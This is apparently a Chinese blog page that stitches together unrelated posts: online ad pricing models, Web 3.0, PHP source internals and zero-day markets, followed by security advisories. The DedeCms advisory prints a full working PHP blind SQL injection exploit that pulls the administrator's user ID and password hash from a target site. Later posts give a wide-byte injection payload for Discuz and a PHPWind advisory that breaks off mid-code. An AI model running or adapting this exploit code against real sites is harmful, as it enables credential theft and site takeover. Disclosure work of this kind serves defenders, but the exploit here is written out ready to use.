网易博客存在跨站漏动
闲来无事,随便试了试.

不知道什么时候才能补上.
一个网络媒体(网站)会包含有数十个甚至成千上万个页面,站点为获得生存,一般都需要在站点投放网络广告。网络广告所投放的位置和价格就牵涉到特定的页面以及浏览人数的多寡。这好比平面媒体(如报纸)的“版位”、“发行量”,或者电波媒体(如电视)的“时段”、“收视率”的概念。
什么是CPL广告?
CPL(Cost Per Leads):以搜集潜在客户名单多少来收费;
即每次通过特定链接,注册成功后付费的一个常见广告模式。这是我们通常称谓的引导注册,比如“亚洲交友”
什么是CPC广告?
CPC(Cost Per Click;Cost Per Thousand Click-Through) 每次点击的费用。
以每点击一次计费。这样的方法加上点击率限制可以加强作弊的难度,而且是宣传网站站点的最优方式。
但是,此类方法就有不少经营广告的网站觉得不公平,比如,虽然浏览者没有点击,但是他已经看到了广告,对于这些看到广告却没有点击的流量来说,网站成了白忙活。有很多网站不愿意做这样的广告,据说,是因为传统媒体从来都没有这样干过。
目前Google Adsense就采用此方式。
什么是CPM广告?
CPM(Cost Per Mille,或者Cost Per Thousand;Cost Per Impressions) 每千次印象费用。广告条每显示1000次(印象)的费用。
网上广告收费最科学的办法是按照有多少人看到你的广告来收费。按访问人次收费已经成为网络广告的惯例。CPM(千人成本)指的是广告投放过程中,听到或者看到某广告的每一人平均分担到多少广告成本。传统媒介多采用这种计价方式。在网上广告,CPM取决于“印象”尺度,通常理解为一个人的眼睛在一段固定的时间内注视一个广告的次数。比如说一个广告横幅的单价是1元/CPM的话,意味着每一千个人次看到这个Banner的话就收1元,如此类推,10,000人次访问的主页就是10元。
至于每CPM的收费究竟是多少,要根据以主页的热门程度(即浏览人数)划分价格等级,采取固定费率。国际惯例是每CPM收费从5美元至200美元不等。
什么是CPS广告?
CPS(Cost Per Sales):以实际销售产品数量来换算广告刊登金额。
即根据每个订单/每次交易来收费的方式。用户每成功达成一笔交易,网站主可获得佣金。
什么是CPA广告?
CPA(Cost Per Action) 每行动成本
CPA计价方式是指按广告投放实际效果,即按回应的有效问卷或定单来计费,而不限广告投放量。CPA的计价方式对于网站而言有一定的风险,但若广告投放成功,其收益也比CPM的计价方式要大得多。广告主为规避广告费用风险,只有当网络用户点击旗帜广告,链接广告主网页后,才按点击次数付给广告站点费用。
什么是CPR广告?
CPR(Cost Per Response) 每回应成本
以浏览者的每一个回应计费。这种广告计费充分体现了网络广告“及时反应、直接互动、准确记录”的特点,但是,这个显然是属于辅助销售的广告模式,对于那些实际只要亮出名字就已经有一半满足的品牌广告要求,大概所有的网站都会给予拒绝,因为得到广告费的机会比CPC还要渺茫。
什么是CPP广告?
CPP(Cost Per Purchase) 每购买成本
广告主为规避广告费用风险,只有在网络用户点击旗帜广告并进行在线交易后,才按销售笔数付给广告站点费用。
无论是CPA还是CPP,广告主都要求发生目标消费者的“点击”,甚至进一步形成购买,才予付费:CPM则只要求发生“目击”(或称“展露”、“印象”),就产生广告付费。
什么是PPC广告?
根据点击广告或者电子邮件信息的用户数量来付费的一种网络广告定价模式。
什么是PPL广告?
根据每次通过网络广告产生的引导付费的定价模式。
什么是PPS广告?
根据网络广告所产生的直接销售数量而付费的一种定价模式
什么是包月广告?
很多国内的网站是按照“一个月多少钱”这种固定收费模式来收费的,这对客户和网站都不公平,无法保障广告客户的利益。虽然国际上一般通用的网络广告收费模式是CPM(千人印象成本)和CPC(千人点击成本),但在我国,一个时期以来的网络广告收费模式始终含糊不清,网络广告商们各自为政,有的使用CPM和CPC计费,有的干脆采用包月的形式,不管效果好坏,不管访问量有多少,一律一个价。尽管现在很多大的站点多已采用CPM和CPC计费,但很多中小站点依然使用包月制。
总之,网络广告本身固然有自己的特点,但是玩弄一些花哨名词解决不了实际问题,一个网站要具备有广告价值,都是有着一定的发展历史,那么,在目标市场决策以后挑选不同的内容网站,进而考察其历史流量进行估算,这样,就可以概算广告在一定期限内的价格,在这个基础上,或者根据不同性质广告,可以把CPC、CPR、CPA这些东西当作为加权,如此而已。
相比而言,CPM和包月方式对网站有利,而CPC、CPA、CPR、CPP或PFP则对广告主有利。目前比较流行的计价方式是CPM和CPC,最为流行的则为CPM。
Web 3.0的最大价值不是提供信息,而是提供基于不同需求的过滤器,每一种过滤器都是基于一个市场需求。如果说Web 2.0解决了个性解放的问题,那么Web 3.0就是解决信息社会机制的问题,也就是最优化信息聚合的问题。
《纽约时报》商业栏目记者John Markoff曾在一篇文章中写道:“人们对Web 3.0或者说是语义网的商业兴趣正在凸现。”这句话虽未对Web 3.0给出明确定义,但不管怎样,语义网这一概念在《New York Times》商业栏目中的出现,我们也看到了未来的发展趋势。
语义网(Semantic Web)之路
简单地说,语义网是一种能理解人类语言的智能网络,它不但能够理解人类的语言,而且还可以使人与电脑之间的交流变得像人与人之间交流一样轻松。
语义网将使人类从搜索相关网页的繁重劳动中解放出来。因为网中的计算机能利用自己的智能软件,在搜索数以万计的网页时,通过“智能代理”从中筛选出相关的有用信息。而不像现在的万维网,只给你罗列出数以万计的无用搜索结果。
目前,在RDF(Resource Description Framework,资源描述框架)和OWL(Web Ontology Language,网络实体语言)的支持下,语义网已经成为能够牢牢嵌入现有网页并且能完善RDF知识储备的新科技,而其理念雏形可追溯至10年之前。
1998年,Tim Berners-Lee就提出了语义网的理念。一些人认为它是关于AI(人工智能)的,另一部分人认为它更多是关于语言学的,还有一些人则认为它是关于数据注释的。而维基百科对语义网给出了这样的定义:一种使用可以被电脑理解的方式描述事物的网络。其实,作为AI的一部分,语义网涉及的范围应该是围绕着对自我的理解和对与我们相关数据的理解。所以,人们可以在开发Web或研究AI的过程中不断地学习和理解语义网。
在Web上,我们已经看到了一些成功的商业模式,如Netscape建成的一个资源互享环境,Amazon和eBay的市场优势,以及Yahoo和Google的网站广告模式。资源共享带给我们前所未有的改变,不过这种分享精神也可能导致所谓的长尾现象。举个买书的例子,在各大网站显要位置推荐的都不会是最好卖的书籍,但过段时间,这些书的销量就会直线飙升,甚至远远超过一些畅销书籍。在这一过程中,链接是真正让搜索引擎工作的发动机,AI应用程序必须与其他事物联系起来才能为我们创造财富。如果仅将其视为一种工具,将很难得到用户青睐。因此,对AI来说,智能设备具有划时代意义,而如何使用这些工具将变得更加重要。
也许很多人认为Web 2.0已乏善可陈,但Web 2.0的动向曲线中还是可见不少有趣现象。总的来说,Web 2.0是网络科技的社会进化,它去掉了网络上合作性质的信息发布,加入了Tagging(标签)和Microformats(微缩过程)的技术,使得信息的产生和选择升级至一个新阶段,这是Web 2.0的本质。可以预见,在未来几年中,Web 2.0将完成向Web 3.0,即语义网的转变。
web3.0带来新体验
在过去一年中,语义网概念更加深入人心,这得益于RDF语言和能够支持RDF语言的科技的成熟。
与传统结构的数据库相比,RDF数据库拥有诸多优势。针对这些优势,微软于2006年12月在其连接服务框架(Connected Services Framework 3.0)开发者指导中指出,RDF数据库让用户能够灵活地在计划图表中存储当初设计图表时没有考虑到的数据。不仅如此,RDF还可以帮助开发者拉近Web与数据之间的距离,而这些都是传统的关系数据库做不到的。随着人们对RDF更多的认可,RDF自然成为了最重要的标准查询语言。
在所有服务中最重要的无疑就是信息搜索服务,作为对RSS高度整合的Web 3.0,搜索也被高度整合。人们只需要输入自己的需求,就可以迅速得到所需信息,甚至一套完整的解决方案。例如,在计算机中输入:“我想带我11岁的孩子去一个温暖的地方度假,我的预算为3000美元。”计算机能自动给出一套完整方案,这一方案可能包括度假路线图、适合选择的航班、价格适宜的酒店等。可以预见,承接Web 2.0的以人为本理念,Web 3.0模式中将会出现各种高度细分领域的平民专家。
即将到来的时代
中国互联网自进入Web 2.0时代后,在近3年内获得了高速发展,这种发展呈现出两种趋势,第一种趋势是基于用户的一个需求点,力图在一个平台上整合所有互联网服务。如博客中国向综合门户阵营的靠拢,腾讯转型为综合门户。但这些转变更多的只是为了增加流量和提高用户黏性。
第二种趋势是在用户个别的需求点上进行深度挖掘,纵深发展。如淘宝、奇虎和Donews等。这类公司目前仅仅是业务领域的细分,并没有根据人群进行细分,因此为了提升关注度,他们同样在做综合门户所做的事情,于是纷纷被打上Web 2.0标签,但信息依然散乱,用户依然海量而缺乏细分,而广告主依然因不知该在哪里投放广告而大伤脑筋。可以说,即便借助Web 3.0,这些公司的运作模式依然还是2.0思维。
真正的Web 3.0不仅止于根据用户需求提供综合化服务,创建综合化服务平台,关键在于提供基于用户偏好的个性化聚合服务。在Web 3.0时代,同一模式化的综合门户将不复存在,如人们看到的新浪新闻首页将是个人感兴趣的新闻,而那些他不感兴趣的新闻将不会显示。当然,这种个性化的聚合必须依赖强大的智能化识别系统,以及长期对于一个用户互联网行为规律的分析和锁定,它将颠覆传统的综合门户,使得Web 3.0时代的互联网评价标准不再是流量和点击率,而是到达率和用户价值。
因此,Web 3.0时代能够赢得用户青睐的公司,一定是基于用户行为、习惯和信息的聚合而构建的,人性化、友好界面、简单易用一定是其核心元素,基于用户需求的信息聚合才是互联网的趋势和未来。
今天遇到一个iis只支持aspx的,禁用了asp,服务器装了mysql odbc驱动,想在那个iis上操作另一个服务器的mysql,可没现成的aspx操作mysql的程序,找了一下午,在msdn上找到个.net的sqldatasource类可以操作.
测试成功了,留在这里备忘一下.
[code]< %@ Page Language="VB" %>
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtmlll/DTD/xhtmlll.dtd">
[/code]
PHP源代码分析
1. 目录结构
2. PHP使用Lex和Yacc对语法进行解析。
3. PHP如何使用Mysql?
4. 安全模式?
5. 那些是 PHP 的标准函数,那些是扩展函数?
6. PHP 源代码中的PHP_FUNCTION(xx) 宏。
7. 那些函数集是标准的?
8. 一些函数的实现过程
9. PHP 函数集注册过程
10. 有趣的Zend LOGO图片
11. PHP的语法树?
12. 从 CVS 获取 PHP 源代码
1. 目录结构
1. build 和编译有关的目录。
2. ext 扩展库代码,例如 Mysql、zlib、iconv 等我们熟悉的扩展库。
3. main 主目录。
4. sapi 和各种服务器的接口调用,例如apache、IIS等,也包含一般的fastcgi、cgi等。
5. win32 和 Windows 下编译 PHP 有关的脚本。用了 WSH。
6. Zend 文件夹核心的引擎。
7. scripts Linux 下的脚本目录。
8. tests 测试脚本目录
9. sapi 各类 Web 服务器的接口。
2. PHP使用Lex和Yacc对语法进行解析。
在 Zend 目录下有两个文件 zend_language_parser.y 与 zend_language_scanner.l 他们是Lex和Yacc的脚本文件,通过这两个脚本文件生成对应的.c和.h文件,实际上这在 linux 下非常普遍,gcc 也使用它们产生语树。
3. PHP如何使用Mysql?
ext 目录下有一个 mysql 子目录,这个目录中的php_mysql.c 和 php_mysql.h 负责 PHP 与 Mysql 操作。使用了 Mysql 手册中的 C 语言 API。
4. 安全模式?
main 文件夹下的safe_mode.h 和 safe_mode.c 文件负责PHP的安全模式。
5. 那些是 PHP 的标准函数,那些是扩展函数?
ext 目录下英文意思是扩展,而在 ext 下还是有一个 standard 文件夹,存放着 PHP 中的标准函数,例如 explode 这个函数是在./ext/standard/string.c 下定义的。
6. PHP 源代码中的PHP_FUNCTION(xx) 宏。
这个宏用来检验一个函数名称是否合法。合法的函数名称应该由小写字母及下划线组成。
7. 那些函数集是标准的?
通过 ./ext/standard/ 目录我们可以看到以下常用函数集是标准的。字符串函数集、数组函数集、文件及目录操作函数集、md5算法等。
8. 一些函数的实现过程
1. fsockopen, pfsockopen 的实现
这两个函数的实现离不开 ./ext/standard/fsock.c 文件中的 php_fsockopen_stream 函数。具体的socket都在./main/network.c 中实
现。
9. PHP 函数集注册过程
在./main/internal_functions.c 中有一个数组 php_builtin_extensions 默认下有以下成员:
1. phpext_bcmath_ptr
2. phpext_calendar_ptr
3. phpext_com_dotnet_ptr
4. phpext_ctype_ptr
5. phpext_date_ptr
6. phpext_ftp_ptr
7. phpext_hash_ptr
8. phpext_odbc_ptr
9. phpext_pcre_ptr
10. phpext_reflection_ptr
11. phpext_session_ptr
12. phpext_spl_ptr
13. phpext_standard_ptr
14. phpext_tokenizer_ptr
15. phpext_zlib_ptr
接着 php_register_extensions(php_builtin_extensions, EXTCOUNT TSRMLS_CC) 进行注册
10. 有趣的Zend LOGO图片
./main/logos.h 文件中,用 zend_logo 与 php_logo 数组保存了 PHP 标志和 Zend 标志。所以你根本在发行包里找不到zend.gif。
11. PHP的语法树?
1. Lex与Yacc
市面上有这本书。大家可以买来看看,包括GCC都是用它们兄弟生成的语法树。如果对编译器感兴趣。可以翻阅市面上关于这方面的书,并不多就几本。
2. y语法树文件
./Zend/zend_language_scanner.l与./Zend/zend_language_parser.y 规定了PHP的语法。从字面意义上scanner表示语法初步扫描, parser表示语法解析。根据这两个文件lex与yacc可以生成对应的c代码。所以相对来说生成语法是很方便的。
3. 如何定义一个符号
例如 if($language='php') 这一句中的if 就是一个token 语法中我们用T_IF表示。具体在.l文件中如下定义了:
return T_IF;
}
这样.php文件中的if就会被翻译成内置符号T_IF。’(单引号)被如下定义:
BEGIN(ST_IN_SCRIPTING);
return '\'';
}
4. 复合符号例如最常见的变量命名$discuz_user, $submit 等。
zend_copy_value(zendlval, (yytext+1), (yyleng-1));
zendlval->type = IS_STRING;
return T_VARIABLE;
}
5. 一个有效的if语句过程
这个定义在zend_language_parser.y 189行:
T_IF '(' expr ')' {
zend_do_if_cond(&$3, &$4 TSRMLS_CC);
} statement {
zend_do_if_after_statement(&$4, 1 TSRMLS_CC);
} elseif_list else_single {
zend_do_if_end(TSRMLS_C);
}
| T_IF '(' expr ')' ':' {
zend_do_if_cond(&$3, &$4 TSRMLS_CC);
} inner_statement_list {
zend_do_if_after_statement(&$4, 1 TSRMLS_CC);
} new_elseif_list new_else_single T_ENDIF ';' {
zend_do_if_end(TSRMLS_C);
}
if 后面必须存在(),圆括弧里面是表达式 expr 表达式在734行被定义:
expr:
r_variable { $$ = $1; }
| expr_without_variable { $$ = $1; }
;
if 后面可以跟 elseif 语句及 else 语句。
从语法树里面我们看出 if () 后面是可以跟 : 的,这一般很少被使用吧。
6. 优先级和左右结合性
一般情况下.y文件中最先定义的操作符优先级相对低,并且可以使用%left、%right 进行描述左右结合性,例如:
%left '+' '-' '.'
%left '*' '/' '%'
%right '!'
这说明'!'在 PHP 语法中是右结合的, '*' '/' '%' '+' '-' '.' 是左结合的,并且'!'的优先级更高
例如语法 !$a + $b 要先计算 !$a 在进行加法操作%left ',' 被放在最上面定义,说明他的优先级最低,因为我们知道','可以等同一个语句。
7. php.ini的解析
1. 如果规定数值正负?
ini_lval->value.str.val = zend_strndup("1", 1);
ini_lval->value.str.len = 1;
ini_lval->type = IS_STRING;
return CFG_TRUE;
}
ini_lval->value.str.val = zend_strndup("", 0);
ini_lval->value.str.len = 0;
ini_lval->type = IS_STRING;
return CFG_FALSE;
}
12. 从 CVS 获取 PHP 源代码
1. 安装 CVS 版本工具,例如 TortoiseCVS。
2. cvs -d :pserver:cvsread@cvs.php.net:/repository checkout php-src 具体的CVS使用办法请参考 CVS 手册及其它著作。
PHP.ini 文件的默认配置,定义在 ./main/main.c 342行
– ./main/main.c — 342:
/* {{{ PHP_INI
*/
PHP_INI_BEGIN()
PHP_INI_ENTRY_EX("define_syslog_variables", "0", PHP_INI_ALL, NULL,
php_ini_boolean_displayer_cb)
PHP_INI_ENTRY_EX("highlight.bg", HL_BG_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.comment", HL_COMMENT_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.default", HL_DEFAULT_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.html", HL_HTML_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.keyword", HL_KEYWORD_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.string", HL_STRING_COLOR, PHP_INI_ALL, NULL,
php_ini_color_displayer_cb)
more lines … …
PHP_INI_END()
/* }}} */
– ./main/main.c –
在最新版本的PHP中 memory_limit 由原来的 8M 修改成了 16M
Marester是一位法国24岁的小伙子,去年,他开始为自己要创建的信息安全公司寻找种子基金.他最大的擅长就是技术和安全,自然的,他想到了利用自 己的技术特长来为自己积累初始资金.于是,他在网上开了一个论坛,他在论坛说明中称:他掌握了关于Linux、HP-UX、微软Windows和 Apache的零日漏洞.他写道:“如果你对此感兴趣,请通过Email给我发信.”之后,他在论坛中宣布,他掌握了有关SAP、火狐、微软Office 2003和2007及IE浏览器的零日漏洞.
零日漏洞已经不是一个新话题,它是指被发现后可以立即被恶意利用的安全漏洞,如果企业或个人对此漏洞缺少防范意识或缺乏相关技术手段,就可能遭受巨大损失.如果你的配置没有大的问题,零日漏洞也许只会造成你的网站或网络短暂的瘫痪;但大的零日漏洞却可以使别有用心的人完全控制你的整个网络.
这种有关安全漏洞的交易远比我们大多数人所想象到的要“繁荣”得多.在安全漏洞交易市场里,有信息安全机构和企业、有企业间谍、有网络罪犯,甚至还有政府和情报部门的身影.当然,在大多数国家和地区,出卖安全漏洞和相关代码被视为非法,Marester的唯一不同之处在于,他只针对某个或某些机构的产品安全需要提供服务.
很多提供此项漏洞信息的人都不承认自己的服务有什么违法问题.Steve Rigano的观点很有代表性,他是一位在HP法国公司工作的人,他宣称,他能让黑客操作处在世界任何角落的任何一台电脑上的任何一款软件.业余时间,他很喜欢钻研信息安全方面的技术,并发现了一些软件漏洞.他说他有权出卖自己发现和拥有的东西,他的这些发现纯属业余所获,与HP没半点儿关系.此前,HP 的一位发言人承认,他们已经在HP法国分支机构里发现了从事漏洞买卖的行为,他们正和FBI展开联合调查.而Steve Rigano对此事的反应是:他敢和任何企业或机构对簿公堂.
据海外媒体报道,HP正在调查的,是一个网络昵称为t0t0的人,此人在2007年5月卖出有关SAP的零日漏洞,HP的网络跟踪到了这个交易.随后,媒体记者跟踪到此人可能是位于法国巴黎的一所大学的老师,此人曾经跟俄罗斯的黑客组织Phrack有联系.
在安全漏洞的交易市场上,软件漏洞的标价从几千美元直到数十万美元不等.最“吃香”的要属对微软软件的远程攻击,这也是叫价最高的,其他大品牌的产品漏洞,如苹果操作系统、思科路由器软件、Oracle数据库代码、Email程序等,都有各自的标价.
有一家叫WabiSabiLabi的瑞士拍卖网站在去年开通了安全漏洞交易平台,并声称在漏洞卖出之前,WabiSabiLabi会保证交易信息的质量.这样的业务自然是在打擦边球,事实也证明其业务远没有那么遵纪守法,其战略总监Roberto Preatoni因为出卖巴西电信的安全漏洞信息,于去年11月在意大利被捕.
近日海外媒体又曝光了两家信息安全企业的所做所为.这两家企业是VeriSign旗下的iDefense和TippingPoint. iDefense花8000美元在黑市找了6个人来发掘微软Exchange Server、Outlook等Mail客户端的最新版本中的安全漏洞,并花了4000美元做入侵开发.之后,这家公司以非常高的价格把这些信息和代码卖给了相关政府部门和机构,以此洗清自己在其中的干系;iDefense还宣称,他们已经第一时间将相关漏洞信息内容知会了微软,以使其尽快为公众用户提供补丁下载.
除了竞争对手、网络黑客、信息安全机构的需求外,政府和情报部门是推动安全漏洞交易市场保持“繁荣”的最主要力量.Steve Rigano向媒体批露,他的大部分客户来自美国、俄罗斯等政府和情报部门.美国政府购买这些信息是为下一步的网络战争储备弹药,美国认为,一些国家政府和企业把美国企业看作是一个巨大的科技创新和研发的实验室,他们购买漏洞信息,潜入美国企业的数据库,拷贝企业保密信息和其他技术创新信息;美国一位前情报部门人员称,有些国家甚至专门成立机构研究网络黑客和网络窃密技术,而美国必须跟上这个步伐.
漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从 DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。
漏洞厂商:http://www.dedecms.com
漏洞来源:http://www.80sec.com/release/dedecms-sql-injection.txt
漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下
——————————————————-
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询
……
———————————————————-
漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档):
< ?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
——————————————————————————–
');
if ($argc<3) {
print_r('
——————————————————————————–
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}
/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;
/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i< =255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((Select+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(Select+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((Select+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(Select+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>
前几天终于改了Dz了,想用PHP的时候就在DZ和PW之间徘徊.
最开始pw的'冰封浪子'在他的blog上发了一个dz sql注射的隐藏日志,结果被ring04h黑了,结果传来传去到处都是… dz的'剑心'看到并且证实了该漏洞..于是'冰封浪子'
就公布了他的exp,但是很奇怪的是Phpwind也存在类似的漏洞[虽然Phpwind6补丁了,但是以前的版本并没有补丁],于是被'剑心'抓到了……….
现在时间回到几年前,dz的'小戴'还是很有眼光的,'剑心'和'9xiao'黑了dz后,然后把'剑心'引进了dz,并且负责dz的安全,这样dz就偷偷的补丁了很多bug
并且安全部门
得到发展,同时他们利用'业余时间',发布了很多Phpwind的漏洞… Phpwind在安全上一直处于下风,到了phpwind6把代码结构重新整理,并且加强了安全性,到了今年才引进专门的安全人员[一切都是被逼的~~~~~~~~~被逼的]
感叹下,杂看别人的代码都那么厉害呢?
最后我们来具体说说这个漏洞的一些细节[Thx Ryat]
具体原理还是宽字节编码之间转换导致的安全问题.
这里看个代码:
[code]< ?php
//gpc=on
$id1=mb_convert_encoding($_GET['a'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['a']);
$id3=iconv('gbk', 'utf-8', $_GET['a']);
print "select * from test where id='$id1'";
print "select * from test where id='$id2'";
print "select * from test where id='$id3'";
?>[/code]
提交a=%bf%27 然后查看原代码可以看到:
[code]select * from test where id='縗''
select * from test where id='縗''
select * from test where id='縗''[/code]
以上gbk转utf-8导致安全问题,但是dz不完全是这样.
\wap\index.php里
[code]if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);// 这里是utf-8转gbk
foreach($_POST as $key => $value) {
$$key = $chs->Convert($$key);
}
unset($chs);
}[/code]
include\chinese.class.php里:
[code]function Chinese($SourceLang, $TargetLang) {
$this->config['SourceLang'] = $this->_lang($SourceLang);
$this->config['TargetLang'] = $this->_lang($TargetLang);
if(function_exists('iconv')) {
$this->iconv_enabled = true; //如果存在iconv()就使用iconv
} else {
$this->iconv_enabled = false; //如果不存在dz就自己实现了一个转换,但是这个转换导致的bug
$this->OpenTable();
}
}
.........
($this->iconv_enabled) {
if($this->config['TargetLang'] <> 'UNICODE') {
return iconv($this->config['SourceLang'], $this->config['TargetLang'], $SourceText); //使用iconv转换
} else {
$return = '';
while($SourceText) {
if(ord(substr($SourceText, 0, 1)) > 127) {
$retur
..........[/code]
于是我们看看php手册对iconv的描叙:
安装
To use functions provided by this module, the PHP binary must be built with the following configure line: –with-iconv[=DIR].
Note to Windows(R) Users: In order to enable this module on a Windows(R) environment, you need to put a DLL file named iconv.dll or iconv-1.3.dll (prior to 4.2.1) which is bundled with the PHP/Win32 binary package into a directory specified by the PATH environment variable or one of the system directories of your Windows(R) installation.
This module is part of PHP as of PHP 5 thus iconv.dll and php_iconv.dll is not needed anymore.
也就是说在win系统上php5以后系统默认就有iconv(),但是php4需要设置php.ini,对于*uix系统,自己编译php不管是5 都需要自己设置php.ini加载iconv.so才行,而dz上面那个漏洞的条件是目标系统上不支持iconv才行.这个也是很多人测试不成功的原因. [并不是人家给的假的exp,而且需要登陆后才触发].
对于dz和pw不知道是代码抄写还是怎么的,很多功能和代码很类似,所以导致的漏洞也类似[可以参考我以前的blog],下面我看看phpwind5的代码:
\wap\global.php里
[code]if($charset != 'utf8'){
$chs = new Chinese('UTF8',$charset);
foreach($_POST as $key=>$value){
$$key=$chs->Convert($$key);
}
}[/code]
但是\wap\chinese.php里并没有使用iconv,而是完全自己写的代码实现[代码基本和dz一样].
漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。
漏洞厂商:http://www.phpwind.net
漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt
漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind< =5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:
[code]function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
$men=$db->get_one("Select m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid Where username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
